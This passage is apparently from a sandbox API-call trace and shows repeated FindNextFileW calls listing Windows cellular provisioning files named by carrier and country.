cAlternateFileName="252__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", cAlternateFileName="253__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="254__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="255__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="256__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="257__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="258__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="259__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="25__CE~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="260__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="261__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="262__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="263__C~1.PRO")) returned 1 [0123.752] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="264__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", cAlternateFileName="265__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="266__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="267__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="268__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="269__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="26__CO~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x317, dwReserved0=0x0, dwReserved1=0x0, cFileName="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="270__C~1.PRO")) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x0, dwReserved1=0x0, cFileName="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="271__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="272__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="273__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", cAlternateFileName="274__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", cAlternateFileName="275__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="276__C~1.PRO")) returned 1 [0123.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="277__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", cAlternateFileName="278__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", cAlternateFileName="279__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="27__CO~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", cAlternateFileName="280__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", cAlternateFileName="281__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", cAlternateFileName="282__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x0, dwReserved1=0x0, cFileName="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", cAlternateFileName="283__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="284__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", cAlternateFileName="285__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", cAlternateFileName="286__C~1.PRO")) returned 1 [0123.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", cAlternateFileName="287__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", cAlternateFileName="288__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", cAlternateFileName="289__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="28__CO~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, 